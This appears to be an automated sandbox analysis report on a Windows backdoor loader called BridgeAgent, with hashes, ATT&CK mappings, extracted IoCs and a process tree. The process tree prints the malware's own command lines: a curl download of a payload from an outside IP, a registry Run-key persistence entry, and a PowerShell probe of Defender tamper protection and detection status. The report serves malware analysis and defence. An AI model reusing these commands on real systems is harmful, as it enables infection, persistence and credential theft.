bridgeagent | acb4fdd8eab403dd309015ff8d73334ce7fb1656a627ae837804e59a1b20005a

Analysis

max time kernel
149s
max time network
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/10/2026, 16:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Loader.exe
Size 5.3MB
Sample261007-thfltabt3v
SHA256 acb4fdd8eab403dd309015ff8d73334ce7fb1656a627ae837804e59a1b20005a
MD5 52922ceeab0a95443710310269e0bd6b
SHA1 ae3623103310c8bc62efcb8538800efeffee931f
SHA512 ccc9a72d8642e167dce9f1ed0078e48cde9dd762499de5b15cc64bba86935ffa3e21d18c5cfc629ce25fe8e8444ea58a0ee71fb31a3bfe4e20d0d468a23edf41
SSDEEP 49152:xs+66Hc/D0wh/wi94JQcnq0HNIg7krE5nYwe4U4ae/b9HWcXotBi7Nwe:O+cX9wi9bVEkKDTLB2hqNV
TLSH
T11E46AE4D387AF3BAD088DB7F98A45640766000FD188B5FF31E95D6CE6E4B34A6A76043
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

backdoor defense_evasion discovery execution bridgeagent loader persistence privilege_escalation spyware stealer

Malware Config

Extracted

Family

bridgeagent

93.152.213.149

Signatures

Family: BridgeAgent,ShadowHVNC
BridgeAgent aka ShadowHVNC is a Windows backdoor and loader written in Rust.
backdoor loader bridgeagent

Detects BridgeAgent aka ShadowHVNC loader 1 IoCs

resource	yara_rule
behavioral2/files/0x000c00000001c622-8.dat	family_bridgeagent

Downloads MZ/PE file 1 IoCs

flow	pid	Process
14	5724	curl.exe

Executes dropped EXE 6 IoCs

pid	Process
4844	staonchik.exe
4664	bridge.exe
5352	helper.exe
936	BridgeAgent.exe
5792	lss.exe
1940	BridgeAgent.exe

Reads ssh keys stored on the system 2 TTPs
Tries to access SSH used by SSH programs.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\BridgeAgent = "\"C:\\Users\\Admin\\AppData\\Local\\Programs\\Bridge\\BridgeAgent.exe\" --supervisor"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\BridgeAgent = "\"C:\\Users\\Admin\\AppData\\Local\\Programs\\Bridge\\BridgeAgent.exe\" --supervisor"	reg.exe

Enumerates connected drives 3 TTPs 3 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
4	ip-api.com

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2536	tasklist.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
4068	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1180	powershell.exe
4892	powershell.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	bridge.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	bridge.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	BridgeAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	BridgeAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Loader.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Loader.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4892	powershell.exe
832	netsh.exe

Gathers network information 2 TTPs 4 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1076	ipconfig.exe
1448	ipconfig.exe
3368	ipconfig.exe
3000	ipconfig.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
5056	reg.exe
5332	reg.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1180	powershell.exe
1180	powershell.exe
5792	lss.exe
5792	lss.exe
1180	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4068	powershell.exe
4068	powershell.exe
4068	powershell.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
816	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeLoadDriverPrivilege	2420	Loader.exe
Token: SeDebugPrivilege	2536	tasklist.exe
Token: SeDebugPrivilege	1180	powershell.exe
Token: SeDebugPrivilege	5792	lss.exe
Token: SeDebugPrivilege	2904	whoami.exe
Token: SeDebugPrivilege	2904	whoami.exe
Token: SeDebugPrivilege	2904	whoami.exe
Token: SeDebugPrivilege	2904	whoami.exe
Token: SeDebugPrivilege	2904	whoami.exe
Token: SeDebugPrivilege	2904	whoami.exe
Token: SeDebugPrivilege	2904	whoami.exe
Token: SeDebugPrivilege	2904	whoami.exe
Token: SeDebugPrivilege	2904	whoami.exe
Token: SeDebugPrivilege	2904	whoami.exe
Token: SeDebugPrivilege	2904	whoami.exe
Token: SeDebugPrivilege	2904	whoami.exe
Token: SeDebugPrivilege	2904	whoami.exe
Token: SeDebugPrivilege	2904	whoami.exe
Token: SeDebugPrivilege	2904	whoami.exe
Token: SeDebugPrivilege	2904	whoami.exe
Token: SeDebugPrivilege	2904	whoami.exe
Token: SeDebugPrivilege	2904	whoami.exe
Token: SeDebugPrivilege	2904	whoami.exe
Token: SeDebugPrivilege	2904	whoami.exe
Token: SeDebugPrivilege	2904	whoami.exe
Token: SeDebugPrivilege	2904	whoami.exe
Token: SeDebugPrivilege	2904	whoami.exe
Token: SeDebugPrivilege	2904	whoami.exe
Token: SeDebugPrivilege	2904	whoami.exe
Token: SeDebugPrivilege	2904	whoami.exe
Token: SeDebugPrivilege	4892	powershell.exe
Token: SeDebugPrivilege	4068	powershell.exe
Token: SeIncreaseQuotaPrivilege	4068	powershell.exe
Token: SeSecurityPrivilege	4068	powershell.exe
Token: SeTakeOwnershipPrivilege	4068	powershell.exe
Token: SeLoadDriverPrivilege	4068	powershell.exe
Token: SeSystemProfilePrivilege	4068	powershell.exe
Token: SeSystemtimePrivilege	4068	powershell.exe
Token: SeProfSingleProcessPrivilege	4068	powershell.exe
Token: SeIncBasePriorityPrivilege	4068	powershell.exe
Token: SeCreatePagefilePrivilege	4068	powershell.exe
Token: SeBackupPrivilege	4068	powershell.exe
Token: SeRestorePrivilege	4068	powershell.exe
Token: SeShutdownPrivilege	4068	powershell.exe
Token: SeDebugPrivilege	4068	powershell.exe
Token: SeSystemEnvironmentPrivilege	4068	powershell.exe
Token: SeRemoteShutdownPrivilege	4068	powershell.exe
Token: SeUndockPrivilege	4068	powershell.exe
Token: SeManageVolumePrivilege	4068	powershell.exe
Token: 33	4068	powershell.exe
Token: 34	4068	powershell.exe
Token: 35	4068	powershell.exe
Token: 36	4068	powershell.exe
Token: SeIncreaseQuotaPrivilege	4068	powershell.exe
Token: SeSecurityPrivilege	4068	powershell.exe
Token: SeTakeOwnershipPrivilege	4068	powershell.exe
Token: SeLoadDriverPrivilege	4068	powershell.exe
Token: SeSystemProfilePrivilege	4068	powershell.exe
Token: SeSystemtimePrivilege	4068	powershell.exe
Token: SeProfSingleProcessPrivilege	4068	powershell.exe
Token: SeIncBasePriorityPrivilege	4068	powershell.exe
Token: SeCreatePagefilePrivilege	4068	powershell.exe
Token: SeBackupPrivilege	4068	powershell.exe
Token: SeRestorePrivilege	4068	powershell.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 2420 wrote to memory of 4900	2420	Loader.exe	89
PID 2420 wrote to memory of 5724	2420	Loader.exe	91
PID 2420 wrote to memory of 4844	2420	Loader.exe	94
PID 2420 wrote to memory of 4664	2420	Loader.exe	95
PID 4844 wrote to memory of 5056	4844	staonchik.exe	96
PID 4664 wrote to memory of 3368	4664	bridge.exe	98
PID 4664 wrote to memory of 5352	4664	bridge.exe	100
PID 4664 wrote to memory of 2536	4664	bridge.exe	101
PID 4664 wrote to memory of 1180	4664	bridge.exe	102
PID 4844 wrote to memory of 936	4844	staonchik.exe	106
PID 936 wrote to memory of 5332	936	BridgeAgent.exe	107
PID 4664 wrote to memory of 5792	4664	bridge.exe	109
PID 4664 wrote to memory of 2904	4664	bridge.exe	110
PID 4664 wrote to memory of 4892	4664	bridge.exe	111
PID 936 wrote to memory of 1940	936	BridgeAgent.exe	116
PID 4892 wrote to memory of 832	4892	powershell.exe	117
PID 5352 wrote to memory of 3024	5352	helper.exe	118
PID 5352 wrote to memory of 3024	5352	helper.exe	118
PID 1940 wrote to memory of 5664	1940	BridgeAgent.exe	119
PID 1940 wrote to memory of 4068	1940	BridgeAgent.exe	122
PID 5352 wrote to memory of 1904	5352	helper.exe	125
PID 5352 wrote to memory of 1904	5352	helper.exe	125
PID 1940 wrote to memory of 3844	1940	BridgeAgent.exe	127
PID 1940 wrote to memory of 6052	1940	BridgeAgent.exe	129
PID 4664 wrote to memory of 3000	4664	bridge.exe	131
PID 4664 wrote to memory of 1076	4664	bridge.exe	133
PID 4664 wrote to memory of 1448	4664	bridge.exe	135
PID 1940 wrote to memory of 4312	1940	BridgeAgent.exe	137

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	14	curl/8.8.0

C:\Users\Admin\AppData\Local\Temp\Loader.exe
"C:\Users\Admin\AppData\Local\Temp\Loader.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2420
- C:\Windows\SYSTEM32\curl.exe
  curl.exe -s -L --connect-timeout 10 --max-time 120 --retry 1 -A Microsoft-Symbol-Server/10.1700.661.0 -o "C:\Users\Admin\AppData\Local\Temp\ntkrnlmp_953A8DE880B0818C32DA2DEC1D79C2D91.pdb" "https://msdl.microsoft.com/download/symbols/ntkrnlmp.pdb/953A8DE880B0818C32DA2DEC1D79C2D91/ntkrnlmp.pdb"
  2⤵
  PID:4900
- C:\Windows\SYSTEM32\curl.exe
  curl.exe -s -L --connect-timeout 10 --max-time 120 -o "C:\Users\Admin\AppData\Roaming\z2x872pkzqh" "http://107.175.82.242:9000/wilow/staonchik.bin"
  2⤵
  - Downloads MZ/PE file
  PID:5724
- C:\Users\Admin\AppData\Roaming\staonchik.exe
  "C:\Users\Admin\AppData\Roaming\staonchik.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4844
- - C:\Windows\system32\reg.exe
    "reg.exe" ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v BridgeAgent /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Programs\Bridge\BridgeAgent.exe\" --supervisor" /f
    3⤵
    - Adds Run key to start application
    - Modifies registry key
    PID:5056
- - C:\Users\Admin\AppData\Local\Programs\Bridge\BridgeAgent.exe
    "C:\Users\Admin\AppData\Local\Programs\Bridge\BridgeAgent.exe" --supervisor
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:936
  - - C:\Windows\system32\reg.exe
      "reg.exe" ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v BridgeAgent /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Programs\Bridge\BridgeAgent.exe\" --supervisor" /f
      4⤵
      Adds Run key to start application
      Modifies registry key
      PID:5332
  - - C:\Users\Admin\AppData\Local\Programs\Bridge\BridgeAgent.exe
      "C:\Users\Admin\AppData\Local\Programs\Bridge\BridgeAgent.exe" --runtime --supervisor-pid 936
      4⤵
      Executes dropped EXE
      Reads the TCP/IP host and domain name from the registry
      Suspicious use of WriteProcessMemory
      PID:1940
    - - C:\Windows\system32\hostname.exe
        
        "hostname.exe"
        5⤵
        
        PID:5664
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -NoLogo -NoProfile -NonInteractive -Command "$ErrorActionPreference='SilentlyContinue'; $exe=$env:BRIDGE_TRUST_EXE; $sig=Get-AuthenticodeSignature -LiteralPath $exe; $sigStatus=if($sig){[string]$sig.Status}else{'Unknown'}; $publisher=if($sig -and $sig.SignerCertificate){[string]$sig.SignerCertificate.Subject}else{''}; $mp=Get-MpComputerStatus; $tamper=if($null -ne $mp -and $null -ne $mp.IsTamperProtected){if([bool]$mp.IsTamperProtected){'Enabled'}else{'Disabled'}}else{'Unknown'}; $source='Local'; if(Test-Path 'HKLM:\SOFTWARE\Microsoft\PolicyManager\current\device\Defender'){$source='MDM'}elseif(Test-Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender'){$source='Group Policy'}; $onboard=(Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows Advanced Threat Protection\Status' -Name OnboardingState -ErrorAction SilentlyContinue).OnboardingState; if($onboard -eq 1 -and $source -eq 'Local'){$source='Defender for Endpoint'}; $detection='Unknown'; if(Get-Command Get-MpThreatDetection -ErrorAction SilentlyContinue){$matches=@(Get-MpThreatDetection | Where-Object { (($_.Resources | Out-String) -like ('*'+$exe+'*')) });$detection=if($matches.Count -gt 0){'Detection observed'}else{'None observed'}}; [ordered]@{signature_status=$sigStatus;publisher=$publisher;tamper_protection=$tamper;management_source=$source;defender_detection=$detection}|ConvertTo-Json -Compress"
        5⤵
        Enumerates connected drives
        Hide Artifacts: Ignore Process Interrupts
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4068
    - - C:\Windows\system32\hostname.exe
        
        "hostname.exe"
        5⤵
        
        PID:3844
    - - C:\Windows\system32\hostname.exe
        
        "hostname.exe"
        5⤵
        
        PID:6052
    - - C:\Windows\system32\hostname.exe
        
        "hostname.exe"
        5⤵
        
        PID:4312
- C:\Users\Admin\AppData\Roaming\bridge.exe
  "C:\Users\Admin\AppData\Roaming\bridge.exe"
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of WriteProcessMemory
  PID:4664
- - C:\Windows\system32\ipconfig.exe
    "ipconfig" /all
    3⤵
    - Gathers network information
    PID:3368
- - C:\Users\Admin\AppData\Local\Temp\rxinj_1791389011761542900\helper.exe
    "C:\Users\Admin\AppData\Local\Temp\rxinj_1791389011761542900\helper.exe" -f all
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:5352
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      4⤵
      PID:3024
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
      4⤵
      PID:1904
- - C:\Windows\system32\tasklist.exe
    "tasklist"
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2536
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command "Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName"
    3⤵
    - Enumerates connected drives
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1180
- - C:\Users\Admin\AppData\Local\Temp\rxlss_1791389011782898200\lss.exe
    "C:\Users\Admin\AppData\Local\Temp\rxlss_1791389011782898200\lss.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5792
- - C:\Windows\system32\whoami.exe
    "whoami" /groups
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2904
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command "netsh wlan show profiles"
    3⤵
    - Enumerates connected drives
    - Command and Scripting Interpreter: PowerShell
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4892
  - - C:\Windows\system32\netsh.exe
      "C:\Windows\system32\netsh.exe" wlan show profiles
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:832
- - C:\Windows\system32\ipconfig.exe
    "ipconfig" /all
    3⤵
    - Gathers network information
    PID:3000
- - C:\Windows\system32\ipconfig.exe
    "ipconfig" /all
    3⤵
    - Gathers network information
    PID:1076
- - C:\Windows\system32\ipconfig.exe
    "ipconfig" /all
    3⤵
    - Gathers network information
    PID:1448

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3532

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:244

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

bridge-agent.log

Path C:\Users\Admin\AppData\Local\Bridge\logs\bridge-agent.log
Size 3KB
SHA256 6b805056f9f3486b23d8b244ff177b9a536f6fb5d6e2a1e07d35252f3a64ebb6
MD5 5a74931d795863babfcafa934876e845
SHA1 3f9a3759c5c00ca906555f6b27003098aebab1ed
SHA512 7841f13c81233a38766af1af2b8ad2708419f94a1ac8f7c36e8f1fd822f9e7adbb3b8cb426ffa82f7163c2156462e4e90dfdaab7353b8629474e970618912587
TLSH
T11A71511193ECC5F34403432795ED6DF6A232B2BE69551EDCE322D754999BE0CEC0A1E1
MD5 SHA1 SHA512 TLSH

Submit Download

bridge-agent.log

Path C:\Users\Admin\AppData\Local\Bridge\logs\bridge-agent.log
Size 315B
SHA256 dff7225fe744ba4ba5a62ece6028c9c262c1c557dba3e0a8e0ad7c6ff69e540d
MD5 706b13b2ea9dea1e771405d1e2ea6857
SHA1 209d2f199b53e11dccd3d7f6fe2b74535bd0e605
SHA512 14eea3d0285f6faf93bd1bcf395206a18a1dc743770e7d605a4b9acea4510e6973437b4f260a4856b1496c6496977e66242f2cd04c1c794a9955fb651ee820cf
TLSH
T1F7E07DA0405485B769014313156C6DF10575AAFC11E50DFCE2109590AB0FD54E90E046
MD5 SHA1 SHA512 TLSH

Submit Download

bridge-agent.log

Path C:\Users\Admin\AppData\Local\Bridge\logs\bridge-agent.log
Size 3KB
SHA256 788bbede2345077e7838e7a7058c2bd10a524e4ce921477f887737ed10a61a91
MD5 7127409cbd4ea75ccc340c89899f2dff
SHA1 6a65b648732fec12471508f6aa056f90dec5cbc1
SHA512 159fe1014382dd6ace502c77ab04b6c320d28bed3442d6a9ffac4ffb00dce76fc66b993a833011d333bab5aa45c250fdc3689d83877295e539d604eaa5349131
TLSH
T17781411193ECC5F34403432B95ED6DF6A232B2BE69551EDCE322DB54899BE0CEC1A1E1
MD5 SHA1 SHA512 TLSH

Submit Download

bridge-agent.log

Path C:\Users\Admin\AppData\Local\Bridge\logs\bridge-agent.log
Size 4KB
SHA256 aae07e197d6067afea4d3612657446414c7240b6f1c363716c46df2f15d71b6d
MD5 23388ed8fa4cdd39768a85a95fac8b9b
SHA1 befab0440aa83351b0f747f47fc5ba407ac49523
SHA512 14d0c1e669fab328054a2650acd496185761846b5202a933b050bbd19fd3a3bb8443741613b1c7af86784f026bbfc8267c8f9aeb15fe960b82fec6b2de601770
SSDEEP 96:o0/mx0sF/q02c/wLj5xZshYqxcsP5zmLB8sexwy5RDK:DmxPZ9+x6bxX+P
TLSH
T16381501193ECC4B34403432B94EC6DF66233B2BE6A411EECE321DA14999BE0CEC0A1E1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bridge-agent.log

Path C:\Users\Admin\AppData\Local\Bridge\logs\bridge-agent.log
Size 1008B
SHA256 43f329d559ec0482dd0cf90e2a1db58d77f793d9a36edd2e7ff4bd963cf78a3e
MD5 f5bd39ca1aef2abef0d7395bba339e70
SHA1 55f6d64bc3af847056911b41b442f515d3ac64b7
SHA512 060fad80bfbfa0782264ed3bd93a1ce05511989f27dc9912d350024239d60b406e142bbf66b1b2e6977c489ebd2a127842709fde4251acb6edbcfae34778494c
TLSH
T17311CE2041E8C5FA940793331A7EADF59172B5AC7EA51E8CE336C584594BD08E84F0E2
MD5 SHA1 SHA512 TLSH

Submit Download

bridge-agent.log

Path C:\Users\Admin\AppData\Local\Bridge\logs\bridge-agent.log
Size 1KB
SHA256 acec82d625c43d8cf21860e1b01559b11a56ed18399f0f37df9472bfb96c674d
MD5 5b73fb17996413e9b5806649b993ab65
SHA1 4f8315db91b8356ca3065a07344ae9d0ff1c8292
SHA512 3518e9bb3fb54bf5ab675cd4397aae4c6867b5bba5268a02765f56ed63e8cdcd0698834598e461f01d244da4eb6f66830af77e9a7267d9cd09a61de20c18371e
TLSH
T1E921AF1041E8C1F9540353231A6E9DF59172B5AC7DA51F9CE32BD644954BD0DEC4F0E2
MD5 SHA1 SHA512 TLSH

Submit Download

bridge-agent.log

Path C:\Users\Admin\AppData\Local\Bridge\logs\bridge-agent.log
Size 1KB
SHA256 128ffd62dfe1d7a20961efcefe6fd1c1f4bcab07393fe90973ff0a6b2dbc00cb
MD5 20f88737974664e802be63ee03827414
SHA1 c4dbd37bb7133051e1f22634af468e80ac744097
SHA512 541426e41396d14440754d6e49d92b70f3de5074f4d922510cebb608f965cd5ad60bd8091adb7cfc70d6f96becf03c207b4174958348a4302dc72b0d78a6258d
TLSH
T1BD31011142E8C5F6940743231A6EADF59172B1BC69A51FDCE336D644995BE0CFC4F0E1
MD5 SHA1 SHA512 TLSH

Submit Download

bridge-agent.log

Path C:\Users\Admin\AppData\Local\Bridge\logs\bridge-agent.log
Size 2KB
SHA256 ffdaf1a83a3996942c3161fb0c2b47a37d039aa9a68f9a04a06994a64281b6d6
MD5 7dce3f58f682d70b4e43b67b09a47836
SHA1 3e6570c3bc9b64e97328e72d2d652db1b9c9231c
SHA512 5edb9ad504e506a80f0a5fac8de1cd8dfed061fe50c94f100ace5258e62b75ee4397ea2ef179bba4ffee1fe30c24afaacc981ac4261fd53966eb8f0cdc6ab677
TLSH
T1E151FD1082ECC5B79407832359ADAEF5A172B2BC69951EDCE326D600995BE08EC4E1E1
MD5 SHA1 SHA512 TLSH

Submit Download

bridge-agent.log

Path C:\Users\Admin\AppData\Local\Bridge\logs\bridge-agent.log
Size 2KB
SHA256 cce0985eb7306de8d53fb31f0f7ed5b9c5974c9492e00be8ae542bcc598edb86
MD5 8c42f6ccf3da0a67b892cddb73c2c587
SHA1 4492630941de8f7ee5d63455cd08311e5d8208b5
SHA512 60e328b8a1323ad969c3f871dc16df4e8dc688574302cd9689324dbd0f477190faca579100866d4a1a16c416b1257041d18ddb1912001526b2229777b99006c5
TLSH
T15A51111182ECC5F38403432799ED6EF5A132B2BD69951EDCE326D64499AFE08FC4B1E1
MD5 SHA1 SHA512 TLSH

Submit Download

root-ca.crt

Path C:\Users\Admin\AppData\Local\Bridge\root-ca.crt
Size 623B
SHA256 190827c07cfff5bfab2f9a513bf4670a8749a6a7880eccd8a0fbdda2828c2cc9
MD5 de24020d6859c8135648eda177c45b8a
SHA1 5dd14b2b744858fddd05f6836022bdfae513741e
SHA512 321ecf5fa1990dbf836161ca2803abafaf8461f2d573dac4a7e6698eee99f929e9ddef9f9ca36d01fa2f525bf023d0c5f4db78b15c1759cb2ecea8c8257f3eea
TLSH
T19DF002DA4F115D1C716BC1667C369204CE2AC2EBA5A6F5FE8AAF0005C104BA448FF13E
MD5 SHA1 SHA512 TLSH

Submit Download

supervisor.heartbeat.json

Path C:\Users\Admin\AppData\Local\Bridge\supervisor.heartbeat.json
Size 122B
SHA256 0c62acce980156066faf4cf6afe9c74b495aa4a9d5218c6957c8f6c04e63db62
MD5 2514576c87594f0f57de5442e848d488
SHA1 d23d03a49d0c8b4e30fdab494c84332805aaa8b1
SHA512 1b479052c78f7d1cc5f56ba6fe04d29c3af6156e82dcfa97055ac8ae2c8ed512bbae4694003211608fd381ca82a6bfc939eeae6e7a8e4857f207eb2c289dd15e
TLSH
T1C4B09293EA2F8EAA885816D213B92A82824E844AACE3D3246654C884801680982C300D
MD5 SHA1 SHA512 TLSH

Submit Download

supervisor.heartbeat.json

Path C:\Users\Admin\AppData\Local\Bridge\supervisor.heartbeat.json
Size 122B
SHA256 f5f226dcfac89023a01235fb3096926e554fd533e8743ea0f2ffdc952c174074
MD5 662d7e3ec1928859ff1d02db4c5960e4
SHA1 b5e15b4bafb20242c369f70ab35c96e18239862e
SHA512 de91024eaf5858133784280c7bc284b2fb1c8c9fa0a091962b63e228d1f40252cb9dfa0161d62aa03b3aea744bc7c58a5dddd0e1a43e6249c9db2eee2e647cdd
TLSH
T11EB09213EA2F8EBE845812D253B92A82864E844AA8E292246654CC84821681986C300E
MD5 SHA1 SHA512 TLSH

Submit Download

supervisor.heartbeat.json

Path C:\Users\Admin\AppData\Local\Bridge\supervisor.heartbeat.json
Size 122B
SHA256 178450d3ca6502d2b4ffa9b5e0961a3e6b6e84c03e34193c17bd3dc8d20bc496
MD5 81693e9784060c69c616820c8576c504
SHA1 6f8c5d06fe646ad686f8a91e1cb15aac16960f17
SHA512 f74d9535c08af353ede81e63e8d0c2e4ab8422f96ab7b7e920fbb7e9de32d67a5c0c92bad2c5016863438a8e99be9fc1fac77a428573f2b2c7d5dc3075b26306
TLSH
T116B09253EA6F8EA9845902E213B92A82824E8449A8E292246655C894941680D92C300D
MD5 SHA1 SHA512 TLSH

Submit Download

supervisor.heartbeat.json

Path C:\Users\Admin\AppData\Local\Bridge\supervisor.heartbeat.json
Size 122B
SHA256 0245bce95c54307a6cdf0add1b925e3f4aac831fec9e7e8e7cc364ca736800ed
MD5 14c8bb034869116be4f8636c701a75af
SHA1 bc7bfd64e546e2d1845055b5340e34225dc36811
SHA512 28c497f59aaf6b7ecacd90b878908b5ad8579b9143287ff1741847d5c9c5a9dbe318a06649c097fa045320d5f908cbaf32222447f3cf3b4d71eaa92d832b3d19
TLSH
T183B01213FA2F8EBE849802D713B92E82C34E884DACF3D3247654CC84802780D87C300D
MD5 SHA1 SHA512 TLSH

Submit Download

supervisor.heartbeat.json

Path C:\Users\Admin\AppData\Local\Bridge\supervisor.heartbeat.json
Size 122B
SHA256 2ca61707c545eb3bcfcd3d72ff0beed5356d664ad939a52183833162adb58dda
MD5 9acba7a3da79d26f5bbe566b4d9ae125
SHA1 b426964053ad6150890d02c283ce9a919dfb98a9
SHA512 ff0cc9359b263321b61e25cc50fd0505c99a8e89c48d3ad303b19788eab9bd9bcddaa4dfeb24afc1ed0d4532b36f43ed261eee9308de731d95f108182ac57370
TLSH
T11DB09253EA3F8EA9845802D223BA6A82824E8889A8E292646654C894801680A83D300D
MD5 SHA1 SHA512 TLSH

Submit Download

